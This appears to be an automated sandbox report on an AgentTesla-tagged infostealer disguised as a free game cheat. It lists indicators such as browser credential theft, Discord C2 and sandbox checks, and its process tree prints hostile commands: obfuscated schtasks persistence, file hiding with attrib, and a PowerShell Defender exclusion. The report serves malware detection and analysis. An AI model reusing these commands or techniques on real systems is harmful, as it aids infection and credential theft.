agenttesla | 3e96e5c7ce88b7a27dbdb0341fe7dc7edd69cfeaba35b7b3019731de8ed81840

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	PowerCheat free.exe

Executes dropped EXE 3 IoCs

pid	Process
2396	PowerCheat_free.exe
4608	PowerCheatEmuHider.exe
4896	ldld.exe

Loads dropped DLL 15 IoCs

pid	Process
5532	Process not Found
6132	Process not Found
1552	Process not Found
5432	Process not Found
5320	WmiApSrv.exe
1272	wmiprvse.exe
6072	Process not Found
6100	Process not Found
2420	Process not Found
5476	Process not Found
6864	Process not Found
6384	Process not Found
7080	Process not Found
6660	Process not Found
4976	Process not Found

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
75	discord.com
76	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\xdwd.dll	PowerCheatEmuHider.exe
File created	C:\Windows\conshost.exe	PowerCheatEmuHider.exe
File opened for modification	C:\Windows\conshost.exe	PowerCheatEmuHider.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
6124	schtasks.exe
5320	schtasks.exe
5260	schtasks.exe
5572	schtasks.exe
3068	schtasks.exe
4264	schtasks.exe
7148	schtasks.exe
6752	schtasks.exe
6092	schtasks.exe
6936	schtasks.exe
6460	schtasks.exe
5276	schtasks.exe
5444	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
2864	wmic.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	PowerCheat_free.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	PowerCheat_free.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	PowerCheat_free.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	firefox.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5604	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4896	ldld.exe
1968	powershell.exe
1968	powershell.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2052	powershell.exe
2052	powershell.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
4800	msedge.exe
4800	msedge.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2932	msedge.exe
2932	msedge.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
6072	powershell.exe
6072	powershell.exe
6072	powershell.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
5276	powershell.exe
5276	powershell.exe
5276	powershell.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
220	identity_helper.exe
220	identity_helper.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
4608	PowerCheatEmuHider.exe
4608	PowerCheatEmuHider.exe
2396	PowerCheat_free.exe
2396	PowerCheat_free.exe
4608	PowerCheatEmuHider.exe
4608	PowerCheatEmuHider.exe
4608	PowerCheatEmuHider.exe
4608	PowerCheatEmuHider.exe
4608	PowerCheatEmuHider.exe
4608	PowerCheatEmuHider.exe
4608	PowerCheatEmuHider.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4608	PowerCheatEmuHider.exe
Token: SeDebugPrivilege	4896	ldld.exe
Token: SeDebugPrivilege	2396	PowerCheat_free.exe
Token: SeIncreaseQuotaPrivilege	4588	wmic.exe
Token: SeSecurityPrivilege	4588	wmic.exe
Token: SeTakeOwnershipPrivilege	4588	wmic.exe
Token: SeLoadDriverPrivilege	4588	wmic.exe
Token: SeSystemProfilePrivilege	4588	wmic.exe
Token: SeSystemtimePrivilege	4588	wmic.exe
Token: SeProfSingleProcessPrivilege	4588	wmic.exe
Token: SeIncBasePriorityPrivilege	4588	wmic.exe
Token: SeCreatePagefilePrivilege	4588	wmic.exe
Token: SeBackupPrivilege	4588	wmic.exe
Token: SeRestorePrivilege	4588	wmic.exe
Token: SeShutdownPrivilege	4588	wmic.exe
Token: SeDebugPrivilege	4588	wmic.exe
Token: SeSystemEnvironmentPrivilege	4588	wmic.exe
Token: SeRemoteShutdownPrivilege	4588	wmic.exe
Token: SeUndockPrivilege	4588	wmic.exe
Token: SeManageVolumePrivilege	4588	wmic.exe
Token: 33	4588	wmic.exe
Token: 34	4588	wmic.exe
Token: 35	4588	wmic.exe
Token: 36	4588	wmic.exe
Token: SeIncreaseQuotaPrivilege	4588	wmic.exe
Token: SeSecurityPrivilege	4588	wmic.exe
Token: SeTakeOwnershipPrivilege	4588	wmic.exe
Token: SeLoadDriverPrivilege	4588	wmic.exe
Token: SeSystemProfilePrivilege	4588	wmic.exe
Token: SeSystemtimePrivilege	4588	wmic.exe
Token: SeProfSingleProcessPrivilege	4588	wmic.exe
Token: SeIncBasePriorityPrivilege	4588	wmic.exe
Token: SeCreatePagefilePrivilege	4588	wmic.exe
Token: SeBackupPrivilege	4588	wmic.exe
Token: SeRestorePrivilege	4588	wmic.exe
Token: SeShutdownPrivilege	4588	wmic.exe
Token: SeDebugPrivilege	4588	wmic.exe
Token: SeSystemEnvironmentPrivilege	4588	wmic.exe
Token: SeRemoteShutdownPrivilege	4588	wmic.exe
Token: SeUndockPrivilege	4588	wmic.exe
Token: SeManageVolumePrivilege	4588	wmic.exe
Token: 33	4588	wmic.exe
Token: 34	4588	wmic.exe
Token: 35	4588	wmic.exe
Token: 36	4588	wmic.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	1316	firefox.exe
Token: SeDebugPrivilege	1316	firefox.exe
Token: SeDebugPrivilege	6072	powershell.exe
Token: SeIncreaseQuotaPrivilege	5696	wmic.exe
Token: SeSecurityPrivilege	5696	wmic.exe
Token: SeTakeOwnershipPrivilege	5696	wmic.exe
Token: SeLoadDriverPrivilege	5696	wmic.exe
Token: SeSystemProfilePrivilege	5696	wmic.exe
Token: SeSystemtimePrivilege	5696	wmic.exe
Token: SeProfSingleProcessPrivilege	5696	wmic.exe
Token: SeIncBasePriorityPrivilege	5696	wmic.exe
Token: SeCreatePagefilePrivilege	5696	wmic.exe
Token: SeBackupPrivilege	5696	wmic.exe
Token: SeRestorePrivilege	5696	wmic.exe
Token: SeShutdownPrivilege	5696	wmic.exe
Token: SeDebugPrivilege	5696	wmic.exe

Suspicious use of FindShellTrayWindow 29 IoCs

pid	Process
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
1316	firefox.exe
1316	firefox.exe
1316	firefox.exe
1316	firefox.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
1316	firefox.exe
1316	firefox.exe
1316	firefox.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe
2932	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1316	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1104 wrote to memory of 2396	1104	PowerCheat free.exe	84
PID 1104 wrote to memory of 2396	1104	PowerCheat free.exe	84
PID 1104 wrote to memory of 4608	1104	PowerCheat free.exe	86
PID 1104 wrote to memory of 4608	1104	PowerCheat free.exe	86
PID 1104 wrote to memory of 4896	1104	PowerCheat free.exe	87
PID 1104 wrote to memory of 4896	1104	PowerCheat free.exe	87
PID 4896 wrote to memory of 4588	4896	ldld.exe	89
PID 4896 wrote to memory of 4588	4896	ldld.exe	89
PID 4896 wrote to memory of 1376	4896	ldld.exe	92
PID 4896 wrote to memory of 1376	4896	ldld.exe	92
PID 4896 wrote to memory of 1968	4896	ldld.exe	94
PID 4896 wrote to memory of 1968	4896	ldld.exe	94
PID 4896 wrote to memory of 2052	4896	ldld.exe	96
PID 4896 wrote to memory of 2052	4896	ldld.exe	96
PID 4896 wrote to memory of 3504	4896	ldld.exe	100
PID 4896 wrote to memory of 3504	4896	ldld.exe	100
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 3308 wrote to memory of 1316	3308	firefox.exe	102
PID 2396 wrote to memory of 2932	2396	PowerCheat_free.exe	103
PID 2396 wrote to memory of 2932	2396	PowerCheat_free.exe	103
PID 2932 wrote to memory of 5048	2932	msedge.exe	104
PID 2932 wrote to memory of 5048	2932	msedge.exe	104
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105
PID 1316 wrote to memory of 3556	1316	firefox.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1376	attrib.exe

C:\Users\Admin\AppData\Local\Temp\PowerCheat free.exe
"C:\Users\Admin\AppData\Local\Temp\PowerCheat free.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Users\Admin\AppData\Local\Temp\PowerCheat_free.exe
  "C:\Users\Admin\AppData\Local\Temp\PowerCheat_free.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/powergirlso2
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa0d8846f8,0x7ffa0d884708,0x7ffa0d884718
      4⤵
      PID:5048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
      4⤵
      PID:4652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2524 /prefetch:8
      4⤵
      PID:456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
      4⤵
      PID:1552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
      4⤵
      PID:736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:1
      4⤵
      PID:5556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5320 /prefetch:8
      4⤵
      PID:4656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5320 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5016 /prefetch:1
      4⤵
      PID:5316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
      4⤵
      PID:5692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:1
      4⤵
      PID:1988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,8987458513961644641,13139856672144843500,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
      4⤵
      PID:3660
- C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
  "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4608
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "conhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" & exit
    3⤵
    PID:1668
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "conhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe"
      4⤵
      Creates scheduled task(s)
      PID:5276
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5316
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4524
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5260
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "dllhost" /tr "C:\Windows\conshost.exe" /RL HIGHEST & exit
    3⤵
    PID:1272
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "dllhost" /tr "C:\Windows\conshost.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6092
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4008
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5572
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5556
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6124
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6132
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5320
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5276
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4264
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6100
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5444
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6840
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6936
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6360
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6460
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7036
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7148
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6652
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:6752
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6924
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3068
- C:\Users\Admin\AppData\Local\Temp\ldld.exe
  "C:\Users\Admin\AppData\Local\Temp\ldld.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\ldld.exe"
    3⤵
    - Views/modifies file attributes
    PID:1376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ldld.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1968
